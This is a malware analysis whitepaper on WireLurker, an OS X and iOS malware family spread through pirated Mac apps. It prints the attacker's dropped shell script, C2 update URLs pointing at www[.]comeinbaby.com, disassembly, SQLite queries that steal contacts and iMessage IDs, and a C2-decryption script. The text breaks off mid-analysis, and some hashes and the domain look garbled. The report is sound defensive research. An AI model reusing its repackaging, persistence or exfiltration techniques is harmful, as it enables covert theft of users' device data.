WIRELURKER: A New Era in iOS and OS X Malware

REPORT BY
CLAUD XIAO

unit 42
# TABLE OF CONTENTS

**Executive Summary**  3  
**Background**  4  
  - User Reporting for this Threat  4  
  - Investigation of the Third Party App Store  5  
**WireLurker Workflow and Malware Progression**  6  
**WireLurker Versions**  7  
**Analysis of WireLurker OS X Malware**  9  
  - Bundle Repackaging and File Hiding  9  
  - Self Update  11  
  - Persistence Mechanisms  13  
  - C2 Server Communication  14  
  - iOS Application Download  15  
  - USB Connection Monitoring  17  
  - Exfiltration of Device Information  17  
  - Installation of Malicious Dynamic Library to an iOS Device  18  
  - Backup of Specific Installed Applications from an iOS Device  19  
  - Trojanizing iOS Applications  20  
  - Installation of Trojanized iOS Applications  20  
**Analysis of WireLurker iOS Malware**  22  
  - Code Injection into System Applications  22  
  - Self Update  23  
  - Exfiltration of User Data  24  
  - Exfiltration of Application Usage and Device Serial Number Information  25  
**Overall Threat Analysis**  26  
  - Use of Repackaging to Trojanize Applications  26  
  - Malicious Use of USB Connections  26  
  - Attacks Against Jailbroken Devices  26  
  - Attacks Against Non-Jailbroken Devices  26  
  - Actor Motivation  27  
**Prevention, Detection, Containment and Remediation**  27  
  - Prevention  27  
  - Detection and Containment  28  
  - Remediation  29  
**Acknowledgements**  29  
**Appendix**  30  
  - SHA-1 Hashes of WireLurker Related Files  30  
  - URLs for C2 Communication  31  
  - Version C Encrypted C2 Communication Code  32
Executive Summary

Palo Alto Networks® recently discovered a new family of Apple OS X and iOS malware, which we have named WireLurker. We believe that this malware family heralds a new era in malware across Apple’s desktop and mobile platforms based on the following characteristics:

- Of known malware families distributed through trojanized / repackaged OS X applications, the biggest in scale we have ever seen
- Only the second known malware family that attacks iOS devices through OS X via USB
- First malware to automate generation of malicious iOS applications, through binary file replacement
- First known malware that can infect installed iOS applications similar to a traditional virus
- First in-the-wild malware to install third-party applications on non-jailbroken iOS devices through enterprise provisioning

WireLurker was used to trojanize 467 OS X applications on the Maiyadi App Store, a third-party Mac application store in China. In the past six months, these 467 infected applications were downloaded over 356,104 times and may have impacted hundreds of thousands of users.

WireLurker monitors any iOS device connected via USB with an infected OS X computer and installs downloaded third-party applications or automatically generated malicious applications onto the device, regardless of whether it is jailbroken. This is the reason we call it “wire lurker.” Researchers have demonstrated similar methods to attack non-jailbroken devices before; however, this malware combines a number of techniques to successfully realize a new breed of threat to all iOS devices.

WireLurker exhibits complex code structure, multiple component versions, file hiding, code obfuscation and customized encryption to thwart anti-reversing. In this whitepaper, we explain how WireLurker is delivered, the details of its malware progression, and specifics on its operation.

We further describe WireLurker’s potential impact; methods to prevent, detect, contain and remediate the threat; and Palo Alto Networks enterprise security platform protections in place to counter associated risk.

WireLurker is capable of stealing a variety of information from the mobile devices it infects and regularly requests updates from the attackers command and control server. This malware is under active development and its creator’s ultimate goal is not yet clear.
Background

User Reporting for this Threat

Qū Chāo, a developer at Tencent, initially observed WireLurker on June 1, 2014, when he found highly suspicious files and processes on his Mac and iPhone (Figure 1).

Nine days later, a thread was created on a Chinese developer forum by the user “LeoHe,” describing anomalous findings on his iPhone. A similar thread was created on a Chinese Apple fan forum on August 9, 2014.

In these forum threads, numerous users reported the installation of strange applications and the creation of enterprise provisioning profiles on their non-jailbroken iPhones and iPads (Figure 2).

They also mentioned launch daemons found on their Mac computers, with names like “machook_damon” and “WatchProc.” Some of these same users stated that they recently downloaded and installed applications from the Maiyadi App Store (http://app.maiyadi.com), a third party OS X and iOS application store in China. As background, the Maiyadi site is a Chinese portal for Apple related news and resources. The Maiyadi App Store is a sub-site known to host pirated premium Mac, iPhone, and iPad applications.
Investigation of the Third Party App Store

Some forum users specifically mentioned downloading a Mac application named “CleanApp” (Figure 3) from the Maiyadi App Store and suspected it might be a culprit.

![CleanApp](image)

**FIGURE 3** + One of applications in the Maiyadi App Store infected with WireLurker

In fact, our investigation revealed that almost all of the Mac applications (totaling 467) uploaded to the Maiyadi App Store from April 30, 2014, to June 11, 2014, were trojanized/repackaged with WireLurker. These impacted applications were downloaded 356,104 times, as of October 16, 2014. Table 1 lists the top 10 WireLurker applications, ordered by number of downloads.

<table>
<thead>
<tr>
<th>WIRELURKER INFECTED APPLICATION</th>
<th>NUMBER OF DOWNLOADS</th>
</tr>
</thead>
<tbody>
<tr>
<td>The Sims 3</td>
<td>42,110</td>
</tr>
<tr>
<td>International Snooker 2012</td>
<td>22,353</td>
</tr>
<tr>
<td>Pro Evolution Soccer 2014</td>
<td>20,800</td>
</tr>
<tr>
<td>Bejeweled 3</td>
<td>19,016</td>
</tr>
<tr>
<td>Angry Birds</td>
<td>14,009</td>
</tr>
<tr>
<td>Spider 3</td>
<td>12,745</td>
</tr>
<tr>
<td>NBA 2K13</td>
<td>11,113</td>
</tr>
<tr>
<td>GRID</td>
<td>10,820</td>
</tr>
<tr>
<td>Battlefield: Bad Company 2</td>
<td>8,065</td>
</tr>
<tr>
<td>Two Worlds II Game of the Year Edition</td>
<td>6,451</td>
</tr>
</tbody>
</table>

**TABLE 1** + Top 10 WireLurker downloads from the Maiyadi App Store (as of Oct 10, 2014)
All of the WireLurker trojanized applications included an installation interface that used “Pirates of the Caribbean” themed wallpaper (Figure 4). A “麦客孤独” seal and QQ account number were also displayed, both of which correspond to the owner of the Maiyadi site. Another similarity between these installers was that their packages always contained an application named “使用帮助” (“User Manual”, in English).

These trojanized applications were hosted on two cloud storage websites, Huawei and Baidu, instead of on Maiyadi’s servers.

**WireLurker Workflow and Malware Progression**

This section summarizes WireLurker’s workflow and malware progression (Figure 5), which are described in further detail in subsequent sections.

![WireLurker Workflow Diagram](image-url)
WireLurker was used to trojanize pirated Mac applications that were uploaded to the Maiyadi App Store. Victims downloaded these applications, installed them on their OS X systems and ran them. On instantiation, WireLurker’s entry code was transparently executed, dropping malicious executable files, dynamic libraries and configuration files prior to running the original pirated application.

Some of these executable files were loaded by the operating system as launch daemons. One launch daemon manages connections with WireLurker’s Command and Control (C2) server and checks whether an updated version of the daemon was available. If so, it downloads an updater package and runs an enclosed shell script to update itself. Newer versions of WireLurker employ a launch daemon that downloads iOS applications signed with enterprise certificates and leverages custom encryption for C2 communication. Yet another launch daemon is responsible for attacking iOS devices connected via USB. It monitors USB connection events and upon detecting an iOS device ascertains its jailbreak status. This check is accomplished by trying to establish a connection with the AFC2 service on the device, which if successful would indicate it was jailbroken. This daemon then sends a comprehensive enumeration of device information to the C2 server.

For a non-jailbroken iOS device, WireLurker simply installs iOS applications that it downloads, leveraging iTunes protocols implemented by the libimobiledevice library. For a jailbroken iOS device, WireLurker backs up specific applications from the device to the Mac computer and trojanizes/repackages both backed up and additional downloaded applications with a malicious binary file. These altered iOS applications are then installed to the device through the same iTunes protocols noted above. Additionally, WireLurker uploads a malicious MobileSubstrate tweak file to the device through the AFC2 service.

At this point, new application icons are visible to the user on the connected iOS device, whether jailbroken or not. For a jailbroken device, malicious code is injected into system applications, querying all contact names, phone numbers and Apple IDs, and sending them to the C2 server along with WireLurker status information.

**WireLurker Versions**

From April 30, 2014, through October 17, 2014, we observed three distinct versions of WireLurker. The first version (version A) consisted of the original malicious files that were used to trojanize Mac applications on Maiyadi. A week later, on May 7, 2014, the second version (version B) was distributed through WireLurker’s C2 server. The “v” parameter of a URL found in its code supports that this is indeed the second version from the attacker’s point of view (Figure 6). Then, prior to August 2014, the C2 server began distributing the third version (version C). The content of this latest updating script confirmed it was the successor of version B.
Examination of the differences between these three versions of code demonstrates progressive refinement:

- Version A neither downloads nor installs iOS applications to connected devices and communicated with the C2 server in the clear (plaintext).
- Version B downloads and installs iOS applications, but only for jailbroken devices; it also communicated with its C2 server in the clear.
- Version C downloads and installs iOS applications for both jailbroken and non-jailbroken devices, and incorporated a custom encryption protocol for its C2 server communication.

Another significant difference between versions is found in associated malicious filenames, paths and their content. WireLurker consists of dozens of malicious files that can be grouped into the following categories:

- Original malicious samples which were used to trojanize Mac applications
- Dropped malicious executable files and configuration files
- Downloaded update packages from the C2 server
- Locally generated database and log files
- Downloaded IPA format iOS applications
- Malicious iOS executable files
- Malicious iOS dynamic library files

The filenames and SHA-1 hashes for all associated files can be found in the Appendix of this whitepaper.

### TABLE 2 shows how these categories of files changed between versions

<table>
<thead>
<tr>
<th>FILES GROUP</th>
<th>VERSION A TO B</th>
<th>VERSION B TO C</th>
</tr>
</thead>
<tbody>
<tr>
<td>Original samples</td>
<td>No changes.</td>
<td>No changes.</td>
</tr>
<tr>
<td>Dropped files</td>
<td>Path and content changes.</td>
<td>Path and content changes.</td>
</tr>
<tr>
<td>Downloaded updates</td>
<td>Unknown.</td>
<td>Downloaded a shell script with a packed executable file.</td>
</tr>
<tr>
<td>Generated files</td>
<td>Path and filename changes.</td>
<td>Path and filename changes.</td>
</tr>
<tr>
<td>Downloaded IPAs</td>
<td>Downloaded a game and a third-party app store client.</td>
<td>Downloaded a normal app.</td>
</tr>
<tr>
<td>Malicious iOS executables</td>
<td>New feature.</td>
<td>Path changed and content slightly changed.</td>
</tr>
<tr>
<td>Malicious iOS dynlibs</td>
<td>No changes.</td>
<td>Path and filename changes.</td>
</tr>
</tbody>
</table>
Analysis of WireLurker OS X Malware

Bundle Repackaging and File Hiding

Every OS X application is comprised of a bundle that contains an executable as its main entry. WireLurker trojanzes OS X applications using three files: a loader, shell script and ZIP archive. The first step WireLurker takes is to append an underscore to the original bundle executable name and then copy its malicious loader into the bundle to replace the original executable. As an example, given an OS X bundle with an executable name of “Contents/MacOS/CleanApp”, WireLurker would move the original file to “Contents/MacOS/CleanApp_” and then copy the malicious loader to “Contents/MacOS/CleanApp”. After executable replacement, WireLurker then adds a shell script, “start.sh”, and a ZIP archive, “FontMap1.cfg”, to the “Contents/Resources” folder of the bundle.

The “hidden” flag is then set for these four files. This flag is an Apple specified file property defined at “/usr/include/sys/stat.h” as “UF_HIDDEN”. With this flag set, a standard user won’t see the files in the Finder, but can still view them through the Terminal (Figure 7).

![FIGURE 7](image-url) - WireLurker hidden files within an application bundle
These operations trojanize the original application through repackaging. After the bundle is trojanized, the malicious loader is executed when the application is run. The loader first drops an embedded script file to "/Users/Shared/run.sh," with the following content:

```bash
#!/bin/sh
/bin/cp -rf '%@' '%@2'
/bin/cp -rf '%@_' '%@' && /usr/bin/open -a '%@
sleep 5
/bin/cp -rf '%@2' '%@'
rm -rf '%@2'
chflags hidden '%@
chflags hidden '%@_'
rm -f /Users/Shared/run.sh
```

The text “%@” is replaced by the full path to the application’s bundle executable prior to being dropped. This effectively backs up the loader, restores the original bundle executable, runs it, restores the loader, and deletes the script itself. It also sets the “hidden” flag again for the loader and the original bundle executable.

After dropping the above script, the loader determines whether this is the first time it has been run by looking for the “/usr/local/machook/machook” file. If that file doesn’t exist, it performs the following actions:

- Copies the “/Resources/start.sh” and “/Resources/FontMap1.cfg” files to the “/Users/Shared/” folder on the Mac
- Requests system administrator privileges
- Executes “/Users/Shared/start.sh” with administrator privileges

The “start.sh” script:

- Decompresses the “FontMap1.cfg” ZIP archive to a new folder, “/usr/local/machook/”
- Copies decompressed “com.apple.machook_damon.plist” and “com.apple.globalupdate.plist” files to the “/Library/LaunchDaemons/” folder to register them as system launch daemons
- Launches these two daemons using the launchctl command
- Copies a decompressed “globalupdate” file to the “/usr/bin/” folder

Then, the loader collects the hardware serial number for the Mac and uploads it to the C2 server, www[.]comeinbaby.com (Figure 8).

---

**FIGURE 8** + WireLurker uploading the hardware serial number for an OS X victim machine
Self Update

In WireLurker version A, the dropped “globalupdate” file will be executed as a launch daemon and periodically check its C2 server for a new version, using the following GET request:

http://www[.]comeinbaby.com/mac/getversion.php?sn=<HardwareSerialNumber>

A packet capture of this communication is shown in Figure 9.

A sample C2 server response follows:

```json
{"result":{"version":"1","url":"http://\www[.]comeinbaby.com\mac\update.zip"}}
```

When the “version” field returns a non-zero value, WireLurker downloads the ZIP archive specified in the “url” field, decompresses that archive to “/usr/local/machook/update/”, and executes the enclosed “start.sh” script.

WireLurker version B uses a different C2 server request to check for updates:

http://www[.]comeinbaby.com/mac/getsoft.php

In this version, the HTTP response body contains plaintext for the “start.sh” script to execute, and the temporary folder from which it runs is set to “/tmp/up”.

When we began analysis of WireLurker, its update package contained version C. The “start.sh” script for this version executed a newly added “update” binary, which:

- Drops numerous new binary executable and .plist files onto the system
- Loads newly dropped .plist files as launch daemons (e.g., com.apple.MailServiceAgentHelper.plist)
- Deletes executable and .plist files of previous versions
- Unloads old launch daemons
Most update operations are accomplished through the “update” binary. This file is a Mach-O executable file header; however, a ZIP archive is appended to it (Figure 10). The ZIP archive includes another 10 files, with their MD5 hash values used for corresponding filenames.

The 64-bit code of the “update” binary is highly obfuscated. Dynamic analysis reveals that it extracts the appended ZIP package, decompresses it and moves the ten enclosed files to specified paths on an OS X system (Figure 11).
Table 3 maps each of these malicious files to their corresponding drop path. Of significant note, dea26a823839b1b3a810d5e731d76aa2 (“/usr/bin/stty5.11.pl”) is a Mach-O universal binary executable file for ARMv7 and ARMv7s architectures. The dff52d100c8d69f053670a70712b0853 file is a ZIP archive that is decompressed to “/etc/manpath.d/”. The resulting “/etc/manpath.d/libiodb.dylib” is also an ARMv7 and ARMv7s executable file. These two ARM executable files are used for subsequent repackaging of iOS applications that are then installed on iOS devices.

<table>
<thead>
<tr>
<th>FILENAME</th>
<th>DROP PATH</th>
</tr>
</thead>
<tbody>
<tr>
<td>94a933c44994b514a3ce634663f9cf8</td>
<td>/System/Library/LaunchDaemons/com.apple.appstore.plughelper.plist</td>
</tr>
<tr>
<td>e6e6a7845b4e00806da7d5e264eed72b</td>
<td>/System/Library/LaunchDaemons/com.apple.MailServiceAgentHelper.plist</td>
</tr>
<tr>
<td>fd7b1215f03ed1221065ee4508d41de3</td>
<td>/System/Library/LaunchDaemons/com.apple.systemkeychain-helper.plist</td>
</tr>
<tr>
<td>bda470f4568da8ebcb12344a36a181d9</td>
<td>/System/Library/LaunchDaemons/com.apple.periodic-dd-mm-yyyy.plist</td>
</tr>
<tr>
<td>dca13b4ff64bcd6876c13bba422f650</td>
<td>/usr/bin/com.apple.MailServiceAgentHelper</td>
</tr>
<tr>
<td>aa6fe189baa35f5e6a9f6e176f5f41</td>
<td>/usr/bin/periodicdate</td>
</tr>
<tr>
<td>e0340200632a6e17c36e691782097</td>
<td>/usr/bin/systemkeychain-helper</td>
</tr>
<tr>
<td>c4264fb907a6de89b9bbbe34036f5f28</td>
<td>/usr/bin/com.apple.appstore.PluginHelper</td>
</tr>
<tr>
<td>dea26a823839b1b3a810d5e731d76aa2</td>
<td>/usr/bin/stty5.11.pl</td>
</tr>
<tr>
<td>dff52d100c8d69f053670a70712b0853</td>
<td>Unzipped to /etc/manpath.d/</td>
</tr>
</tbody>
</table>

**TABLE 3** Drop paths for appended ZIP archive files from “update” binary

**Persistence Mechanisms**

WireLurker remains running as a background process, waiting for iOS devices to infect over USB connections. Multiple methods and redundancy are used to achieve this goal:

- Every time a user runs a WireLurker trojanized application, the loader executes malicious code in the background.
- WireLurker initialization and update scripts create and load launch daemons, ensuring persistence after reboot.
- Some WireLurker executables also load launch daemons through invoking the launchctl command (Figure 12).

```assembly
; void __cdecl CheckStatus(int) _CheckStatus proc near
push rbp
mov rbp, rsp
lea rdi, aUsrLocalMacho ; "/usr/local/machoo/ watch.sh"
call __system
lea rdi, aBinLaunchctllo ; "/bin/launchctl load -WF /Library/Launch"

_endp
```

**FIGURE 12** Sample code for WireLurker persistence through the use of launchctl

Using these methods, there will always be at least two processes running on a WireLurker infected OS X system: one checking for updates and another for downloading IPA files and monitoring USB connections for iOS devices to infect.
C2 Server Communication

WireLurker frequently communicates with its C2 server. To date, only one C2 server has been used: www.lcomeinbaby.com (124.248.245.78). This server's key roles follow:

- Hosts code updates for download
- Hosts iOS applications for download
- Processes reports on WireLurker status
- Accepts uploads of exfiltrated Mac and iOS device information
- Accepts uploads of exfiltrated iOS user data

As noted previously, WireLurker versions A and B communicate with the C2 server in plaintext over HTTP. WireLurker version C uses a customized encryption protocol (Figure 13).

Reverse engineering of this encryption protocol reveals the use of the Data Encryption Standard (DES) algorithm in Electronic Codebook (ECB) mode with Cryptographic Message Syntax Standard (PKCS7) padding. For each piece of TCP data it receives or sends, the first 10 bytes of the data are used to generate a session key. The session key is then combined with a fixed string, “dksyel”, to generate a decryption key. Remaining bytes of the data are encrypted data that has also been encoded using Base64.

We wrote the following Python script to decrypt WireLurker version C communication data:

```python
#!/usr/bin/env python
import base64
import pyDes
import sys

original_data = sys.argv[1]

session_key = '%d' % sum([int(c) for c in original_data[:10]])
key = session_key + 'dksyel'

encrypted_data = original_data[10:]

des_cryptor = pyDes.des(key, pyDes.ECB, padmode=pyDes.PAD_PKCS7)
plaintext = des_cryptor.decrypt(base64.b64decode(encrypted_data))

print plaintext
```
Using the C2 communication captured in Figure 13, the following data was sent from the WireLurker C2 server to an infected OS X system over TCP:

```
14109439427UQZMrWZH0jIC3FV3E5xCOZVsy2tbV+yehvSgxDHECOrxaqyva5tv9K7uL87T/FmgjvLcWYiyHKweloJT7ts9bni7ap93+VjnCBedikuNTgWizXCF712/LXR0AEiPn1Hyw56XurTv6KkvToZG2w==
```

Decryption by our script yields the following

```
2257b9e685e89b8c7e11f554b05cdd6819a||http://cos.myqcloud.com/1001584/ipa/7b9e685e89b8c7e11f554b05cdd6819a
```

WireLurker version C uses a numeric “CODE” value to identify different kinds of data transmitted from client to server in C2 communications. We list all of these codes mapped to their data associations in the Appendix.

### iOS Application Download

WireLurker version A does not download iOS applications; however, it reserves a folder in “/usr/local/machook/ipa” for this functionality. Versions B and C download IPA files to “/usr/local/ipcc” and “/usr/share/tokenizer/ja” respectively, and store download history in local SQLite3 databases.

Analysis revealed that WireLurker version B downloaded two applications: “lszr2” and “pphelper”. The “lszr2” application is an iOS game developed by a Chinese company and the “pphelper” application is a third-party iOS App Store’s client. WireLurker version C downloaded one application, “7b9e685e89b8c7e11f554b05cdd6819a”, a comic reader. Filenames, display names, executable names and bundle identifiers for these applications are summarized in Table 4.

<table>
<thead>
<tr>
<th>File Name</th>
<th>Display Name</th>
<th>Executable Name</th>
<th>Bundle Identifier</th>
</tr>
</thead>
<tbody>
<tr>
<td>lszr2</td>
<td>乱世之刃</td>
<td>lszr2-yueyu</td>
<td>com?7lszr2-yueyu</td>
</tr>
<tr>
<td>pphelper</td>
<td>PP助手正版</td>
<td>PPAPpInstall_qudaobao</td>
<td>com.gzteiron.pphelper-share</td>
</tr>
<tr>
<td>7b9e685e89b8c7e11f554b05cdd6819a</td>
<td>漫画吧</td>
<td>manhua</td>
<td>com.manhuaba.manhuajb</td>
</tr>
</tbody>
</table>

**TABLE 4** iOS applications downloaded by WireLurker

Of note, all IPA format iOS applications downloaded by WireLurker contain an “embedded. mobileprovision” file in their bundle. The “ProvisionsAllDevices” key value within these provisioning files is set to “true” (Figure 14), which means these files are categorized as enterprise provisioning and that the applications are signed by enterprise certificates.

**FIGURE 14** WireLurker downloaded applications leverage enterprise provisioning
We obtained a legal copy of the manhua application from the Apple iTunes App Store. Its legitimate bundle identifier is “com.manhuaba.manhua”, while the bundle identifier of the WireLurker version is “com.manhuaba.manhuajb”. The “jb” reference is most likely an abbreviation of “jailbreak”. Otherwise, the primary difference between the official and WireLurker versions of this application are that the former doesn’t contain an “embedded.mobileprovision” file within its bundle. The second difference is in the WireLurker binary code not having been encrypted by Apple (Figure 15).

![WireLurker applications are not encrypted by Apple](image1.jpg)

FIGURE 15  +  WireLurker applications are not encrypted by Apple

The use of enterprise provisioning explains how these applications can be installed on non-jailbroken iOS devices. Yet, on the first attempt to run a WireLurker application on iOS, users are presented with a dialog requesting confirmation to open a third-party application (Figure 16). If the user chooses to continue, a third-party enterprise provisioning profile will be installed and WireLurker will have successfully compromised that non-jailbroken device. Furthermore, users are typically none the wiser, since the application otherwise operates just like the legitimate version.

![WireLurker iOS confirmation dialog and subsequent enterprise provisioning](image2.jpg)

FIGURE 16  +  WireLurker iOS confirmation dialog and subsequent enterprise provisioning
USB Connection Monitoring

WireLurker uses a popular library called `libimobiledevice` to interact with iOS devices through USB connections. This third-party open source software library implements the iTunes protocol stack for communication between a computer and iOS device.

WireLurker registers a callback function “usbcallback(idevice_event_t const*, void *)” through the `idevice_event_subscribe` function provided by `libimobiledevice` (Figure 17).

```
_startlisten proc near
    ; CODE XREF: _main+6F p
    push  rbp
    mov   rbp, rsp
    push  rdx
    push  rsi
    lea   rdi, __Z11usbcallbackPK15idevice_event_tP
    xor   rsi, rsi
    call  _idevice_event_subscribe
    test  rax, rax
    jz    short loc_100005D15
    add   rsp, 8
    pop   rdx
    pop   rsi
    ret
```

**FIGURE 17**  WireLurker callback function registration to monitor USB connections

Every time an iOS device connects or disconnects from a WireLurker infected computer, the above callback is invoked. For connections, the function fetches the iOS device’s Unique Device Identification Number (UDID) and then calls “OperatDevice(char const*)” which allows a number of iOS device operations, including:

- Collection and transmission of device information to the C2 server
- Installation of malicious dynamic libraries (Substrate tweak) to a jailbroken device
- Backup of specific installed applications from a device
- Repackage of downloaded or backed-up applications to include a malicious ARM executable file
- Installation of repackaged applications to a jailbroken device, or downloaded applications to a non-jailbroken device

Exfiltration of Device Information

WireLurker uses the “libimobiledevice” library interfaces to access the “lockdown” service on iOS device over USB and collect the following device information (Figure 18):

- Serial number
- Phone number
- Model number
- Device type and version name
- User’s Apple ID
- UDID
- Wi-Fi address
- Disk usage information
All of the collected device information is concatenated into a string that is then sent to the C2 server.

**Installation of Malicious Dynamic Library to an iOS Device**

After exfiltration of iOS device information, WireLurker determines the jailbroken status of the device by attempting to connect to an iOS service named AFC2 ("com.apple.afc2") (Figure 19). AFC2 is an additional AFC (Apple File Connection or Apple File Conduit) service that is part of jailbreaking utilities for iOS devices. The daemon process of the AFC2 service runs with root permissions, allowing the service to read, write or modify any file on the iOS file system.
If the AFC2 service exists on the device, WireLurker installs “/usr/local/machook/sfbase.dylib” (for version B) or “/etc/manpath.d/libiodb.dylib” (for version C) to “/Library/MobileSubstrate/DynamicLibraries/sfbase.dylib” on the device (Figure 20). These two files contain identical content (SHA-1 hash 461b51dd595c07f3c82be7cfc1cc77da6700605) and constitute an ARM based Mach-O dynamic library that is a Cydia Substrate tweak. This dynamic library is discussed in more detail in the WireLurker iOS malware analysis section of this whitepaper.

Backup of Specific Installed Applications from an iOS Device

The “libimobiledevice” library also provides interfaces to two standard Apple services available on every iOS device: AFC and com.apple.mobile.installation_proxy. Using these interfaces, WireLurker attempts to determine whether certain applications are already installed on the device. If they are, it performs a backup of their IPA bundle files through the two Apple services (equivalent to a normal “application backup” using iTunes). Backed up IPA bundle files are subsequently stored in the “/usr/local/machook/ipa” folder and log related information is written to a local SQLite database. The list of hardcoded iOS applications that WireLurker looks for follows (Figure 21):

- com.meitu.mtxx: A photo modification app, produced by Meitu
- com.taobao.taobao4iphone: The official client app of Taobao (like Ebay in China), produced by Alibaba
- com.alipay.iphoneclient: The official client app of Alipay (like PayPal in China), produced by Alibaba

```
FIGURE 20  + Installation of malicious MobileSubstrate tweak to a jailbroken iOS device

FIGURE 21  + Applications that WireLurker looks for on an iOS device
```
WireLurker’s code also revealed an unfinished stub looking for the com.tencent.mqq application, which is the client app of the popular IM service QQ, produced by Tencent. We anticipate the inclusion of checks for this application in future versions of WireLurker.

**Trojanizing iOS Applications**

WireLurker passes the device’s jailbroken status to a function named “InstallApp,” which installs downloaded IPAs or re-installs trojanized versions of the specific applications mentioned previously.

```c
loc_10000531d:
    strcat(var_90, var_70);
    r12 = zip_name_locate();
    if (LODWORD(r12) <= 0x0) goto loc_10000542;
    var_78 = 0x0;
    asprintf(var_78, "%s", var_90);
    zip_rename();
    r12 = fopen("/usr/bin/stty5.11.pl", "rb");
    r13 = zip_source_filep();
    if (r13 == 0x0) goto loc_100005646;
    goto loc_1000053ca;

loc_100005646:
    rax = [Utils LogFile:cfstring_z];
    goto loc_100004f78;

loc_1000053ca:
    rax = zip_file_add();
    if (LODWORD(rax) < 0x0) {
        zip_source_free();
        fclose(r12);
    }
    [Utils LogFile:“zip added”];
    zip_close();
    fclose(r12);
```

![WireLurker infection of iOS applications](image)

If the device is jailbroken, “InstallApp” will trojanize an iOS application before installing it. It accomplishes this by opening the IPA bundle as a ZIP archive, parses the “Info.plist” file in it to get its bundle executable filename, adds an underscore to the executable filename, and copies “/usr/local/machook/start” (for version B) or “/usr/bin/stty5.11.pl” (for version C) into the bundle as the original executable filename. The “start” and the “stty5.11.pl” files are very similar in terms of binary code and their functions are discussed in more depth in the WireLurker iOS malware analysis section.

**Installation of Trojanized iOS Applications**

Finally, WireLurker installs trojanized applications to connected iOS devices. For a non-jailbroken device, it installs downloaded, enterprise certificate signed applications to the device. However, if the device is jailbroken, it trojanizes downloaded or backed up applications and then installs (or reinstalls) them to the device.

WireLurker performs each installation by uploading the trojanized IPA bundle to the iOS device through the AFC service and then leveraging the “instproxy_install” interface of “libimobiledevice” (Figure 23).
FIGURE 23  + WireLurker installation of trojanized iOS applications
Analysis of WireLurker iOS Malware

WireLurker uploads a malicious dynamic library, “sfbase.dylib”, to an iOS device and repackages a malicious executable file, “start”, into iOS application bundles that it installs. This section describes how these two files operate.

Code Injection into System Applications

The “sfbase.dylib” dynamic library acts as a Cydia MobileSubstrate tweak. The MobileSubstrate framework loads this dynamic library into all jailbroken iOS applications; however, this tweak focuses on the Phone, Messages, Safari, Storage Mounter, Search and Preferences system applications. On initialization, it hooks the UIWindow’s “sendEvent:” method by invoking the MSHookMessageEx API (Figure 24).

```
v1 = objc_msgSend(v0, "alloc");
v2 = objc_msgSend(v1, "init");
v3 = objc_msgSend(v2, "infoDictionary");
v4 = objc_msgSend(v3, "objectForKey", CFSTR("CFBundleExecutable"));
v5 = objc_msgSend(v4, "alloc");

v2[0] = CFSTR("MobilePhone");
v2[1] = CFSTR("MobileSMS");
v2[2] = CFSTR("MobileSafari");
v2[3] = CFSTR("MobileStorageMounter");
v2[4] = CFSTR("Search");
v2[5] = CFSTR("Preferences");

if (v3)
{
    if ((unsigned int)objc_msgSend(v3, "containsObject:", v3) & 0xFF)
    {
        objc_msgSend(v5, "initWithObjects:", v2);
        MSHookMessageEx(v6, "sendEvent:", replace_U/UIWindow_sendEvent, &original_U/UIWindow_sendEvent);
        objc_msgSend(v7, "initWithObjects:", CFSTR("Search"), CFSTR("MobileStorageMounter"));
        objc_msgSend(v8, "initWithObjects:", CFSTR("Preferences"), 0);
    }
    objc_msgSend(v8, ".alloc");
}
```

**FIGURE 24**  + Initialization code of sfbase.dylib iOS dynamic library

This dynamic library adds a notification observer within its “sendEvent:” hook for a user pressing the home button. On detection of this event, it kills all Phone, Messages and Safari processes, in the background using root privileges.

This piece of hooking code is most likely still under development, since at the time of this whitepaper’s publication we found unfinished methods like “mydUIWebViewHook hook_webView:didFinishLoadForFrame:” and “mydWebView_webView:shouldStartLoadWithRequest:navigationType:” which attempt to hook the “WebView” library for loading URLs in the background without the user’s knowledge (Figure 25).
Before hooking the “sendEvent:” method, “sfbase.dylib” also connects with its C2 server to check for updates. It checked in with the following URL, furnishing its current version information and the Advertising ID (ADID) of the iOS device:


This HTTP request will return the newest version number as well as the download URL for that version. Figure 26 shows a sample check-in and its C2 server response.

All of the “sfbase.dylib” dynamic libraries we obtained from the original Maiyadi Mac samples were version 4.0.2, which is also the latest version hosted on the C2 server. Educated guesses based on URL structure revealed two earlier versions of “sfbase.dylib” still hosted on the C2 server: 4.0.0 and 4.0.1.

Based on these version numbers, we speculate that there may be as many as three other major version releases of “sfbase.dylib” used in prior attacks.

<table>
<thead>
<tr>
<th>Version</th>
<th>File Size (bytes)</th>
<th>SHA-1 Value</th>
</tr>
</thead>
<tbody>
<tr>
<td>4.0.0</td>
<td>296,492</td>
<td>f097eb7a4ea7783713adf01e5438b0d89375be8</td>
</tr>
<tr>
<td>4.0.1</td>
<td>296,208</td>
<td>2a40a5e0b350264195b958e29f678c290e4a18c4</td>
</tr>
<tr>
<td>4.0.2</td>
<td>296,288</td>
<td>46151d595c07f13c82be7ccf1cc7da6700605</td>
</tr>
</tbody>
</table>
**Exfiltration of User Data**

In addition to hooking system APIs, the “sfbase.dylib” dynamic library also steals user data and uploads it to the C2 server. Specifically, it copies the file “/User/Library/AddressBook/AddressBook.sqlitedb” into the “/tmp” directory using root privileges (Figure 27), then executes the following SQLite query:

```
select m.value sphone, p.first, p.last from ABMultiValue m, ABPerson p where m.record_id=p.rowId
```

**FIGURE 27** + Code showing “sfbase.dylib” capturing iOS contacts information

It also copies the file “/User/Library/SMS/sms.db” into the “/tmp” directory using root privileges and executes the following SQLite query to capture iMessage chats:

```
select distinct chat_identifier from chat where service_name='iMessage'
```

This query returns all of the iMessage IDs the user has communicated with from the database.

After executed the above SQLite queries, “sfbase.dylib” deletes those temporary database copies, saves results to a local file and exfiltrates that file and Apple ID information to the C2 server, www[.]comeinbaby.com (Figure 28).

**FIGURE 28** + Exfiltration of iOS user data to C2 server
Exfiltration of Application Usage and Device Serial Number Information

WireLurker repackages iOS applications with an ARM executable file named “start” or “stty5.11.pl”, depending on version. This binary is a loader that collects the current application’s name and device’s serial number, exfiltrates this information to the C2 server (Figure 29), restarts the SpringBoard, and restores the original bundle executable file (Figure 30).

The exfiltration of this information is most likely used by the attacker for tracking WireLurker infections.
Overall Threat Analysis

Use of Repackaging to Trojanize Applications

WireLurker trojanized OS X and iOS applications using repackaging through executable file replacement. This technique is both simple to implement and effective. We expect to see more OS X and iOS malware employing it in the future, similar to the respective increase in malicious APK repackaging by Android malware authors.

Malicious Use of USB Connections

